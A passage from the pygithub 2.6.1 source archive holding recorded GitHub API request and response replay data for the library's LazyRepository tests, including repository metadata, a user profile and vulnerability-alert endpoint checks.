996?v=3","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/PyGithub/PyGithub","description":"Python library implementing the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","created_at":"2012-02-25T12:53:47Z","updated_at":"2015-03-26T14:31:35Z","pushed_at":"2015-03-18T19:20:30Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"http://jacquev6.github.io/PyGithub","size":15874,"stargazers_count":559,"watchers_count":559,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":false,"has_pages":true,"forks_count":152,"mirror_url":null,"open_issues_count":24,"forks":152,"open_issues":24,"watchers":559,"default_branch":"master"},"network_count":152,"subscribers_count":1} https GET api.github.com None /repos/PyGithub/PyGithub/issues {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '2'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', '318e55760cf7cdb40e61175a4d36cd32'), ('x-oauth-scopes', 'gist, repo, user'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"ce023c8f5eae55b9873e83f4f0d6e9ae"'), ('access-control-allow-credentials', 'true'), ('status', '200 OK'), ('x-ratelimit-remaining', '4962'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '6CE875F7:1E5F:4266C5:5514C7D6'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 27 Mar 2015 03:00:39 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1427427963')] [] https GET api.github.com None /repos/PyGithub/PyGithub/issues {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '2'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', '474556b853193c38f1b14328ce2d1b7d'), ('x-oauth-scopes', 'gist, repo, user'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"ce023c8f5eae55b9873e83f4f0d6e9ae"'), ('access-control-allow-credentials', 'true'), ('status', '200 OK'), ('x-ratelimit-remaining', '4961'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '6CE875F7:1E62:50EDBA:5514C7D7'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 27 Mar 2015 03:00:39 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1427427963')] [] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/LazyRepository.testGetUser.txt0000644000175100001660000000517014756101563024216 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '1304'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', '07ff1c8a09e44b62e277fae50a1b1dc4'), ('x-oauth-scopes', 'gist, repo, user'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"6754cf6361cd6d31646de909f5c90146"'), ('access-control-allow-credentials', 'true'), ('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '6CE875F7:1E63:532872:5514C5BC'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('last-modified', 'Fri, 27 Mar 2015 02:25:51 GMT'), ('date', 'Fri, 27 Mar 2015 02:51:40 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1427427963')] {"login":"korfuri","id":1124263,"avatar_url":"https://avatars.githubusercontent.com/u/1124263?v=3","gravatar_id":"","url":"https://api.github.com/users/korfuri","html_url":"https://github.com/korfuri","followers_url":"https://api.github.com/users/korfuri/followers","following_url":"https://api.github.com/users/korfuri/following{/other_user}","gists_url":"https://api.github.com/users/korfuri/gists{/gist_id}","starred_url":"https://api.github.com/users/korfuri/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/korfuri/subscriptions","organizations_url":"https://api.github.com/users/korfuri/orgs","repos_url":"https://api.github.com/users/korfuri/repos","events_url":"https://api.github.com/users/korfuri/events{/privacy}","received_events_url":"https://api.github.com/users/korfuri/received_events","type":"User","site_admin":false,"name":"Uriel Corfa","company":"","blog":"http://korfuri.fr/","location":"","email":"uriel@corfa.fr","hireable":false,"bio":null,"public_repos":12,"public_gists":0,"followers":29,"following":57,"created_at":"2011-10-13T02:27:26Z","updated_at":"2015-03-27T02:25:51Z","private_gists":0,"total_private_repos":0,"owned_private_repos":0,"disk_usage":444,"collaborators":0,"plan":{"name":"free","space":976562499,"collaborators":0,"private_repos":0}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/LazyRepository.testGetVulnerabilityAlert.txt0000644000175100001660000004635514756101563027133 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Tue, 06 Aug 2019 11:26:57 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4744'), ('X-RateLimit-Reset', '1565093788'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('ETag', 'W/"bcd71356b0501183a991a88b20784d03"'), ('Last-Modified', 'Tue, 06 Aug 2019 10:07:25 GMT'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, read:packages, repo, user, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '35DE:9CE7:431A40B:5049896:5D496401')] {"id":197130728,"node_id":"MDEwOlJlcG9zaXRvcnkxOTcxMzA3Mjg=","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"korfuri","id":29245119,"node_id":"MDQ6VXNlcjI5MjQ1MTE5","avatar_url":"https://avatars3.githubusercontent.com/u/29245119?v=4","gravatar_id":"","url":"https://api.github.com/users/korfuri","html_url":"https://github.com/korfuri","followers_url":"https://api.github.com/users/korfuri/followers","following_url":"https://api.github.com/users/korfuri/following{/other_user}","gists_url":"https://api.github.com/users/korfuri/gists{/gist_id}","starred_url":"https://api.github.com/users/korfuri/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/korfuri/subscriptions","organizations_url":"https://api.github.com/users/korfuri/orgs","repos_url":"https://api.github.com/users/korfuri/repos","events_url":"https://api.github.com/users/korfuri/events{/privacy}","received_events_url":"https://api.github.com/users/korfuri/received_events","type":"User","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2019-07-16T06:05:51Z","updated_at":"2019-08-06T10:07:25Z","pushed_at":"2019-08-06T10:07:21Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11917,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2019-08-06T05:16:13Z","pushed_at":"2019-08-06T10:07:24Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11949,"stargazers_count":2735,"watchers_count":2735,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":939,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":68,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":939,"open_issues":68,"watchers":2735,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2019-08-06T05:16:13Z","pushed_at":"2019-08-06T10:07:24Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11949,"stargazers_count":2735,"watchers_count":2735,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":939,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":68,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":939,"open_issues":68,"watchers":2735,"default_branch":"master"},"network_count":939,"subscribers_count":0} https GET api.github.com None /repos/PyGithub/PyGithub/vulnerability-alerts {'Accept': 'application/vnd.github.dorian-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Date', 'Tue, 06 Aug 2019 11:26:58 GMT'), ('Content-Type', 'application/octet-stream'), ('Server', 'GitHub.com'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4743'), ('X-RateLimit-Reset', '1565093788'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, read:packages, repo, user, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.dorian-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding'), ('X-GitHub-Request-Id', '35E0:54A2:4277669:4F26387:5D496402')] https GET api.github.com None /repos/random/vulnerability-alerts {'Accept': 'application/vnd.github.dorian-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('Date', 'Tue, 06 Aug 2019 11:26:59 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '404 Not Found'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4742'), ('X-RateLimit-Reset', '1565093788'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, read:packages, repo, user, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.dorian-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '1665:9CE7:431A509:50499CA:5D496402')] {"message":"Not Found","documentation_url":"https://developer.github.com/v3/repos/#get"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/LazyRepository.testGetVulnerabilityAlertWhenTurnedOff.txt0000644000175100001660000004355014756101563031564 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Tue, 06 Aug 2019 11:27:42 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4734'), ('X-RateLimit-Reset', '1565093788'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('ETag', 'W/"bcd71356b0501183a991a88b20784d03"'), ('Last-Modified', 'Tue, 06 Aug 2019 10:07:25 GMT'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, read:packages, repo, user, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), 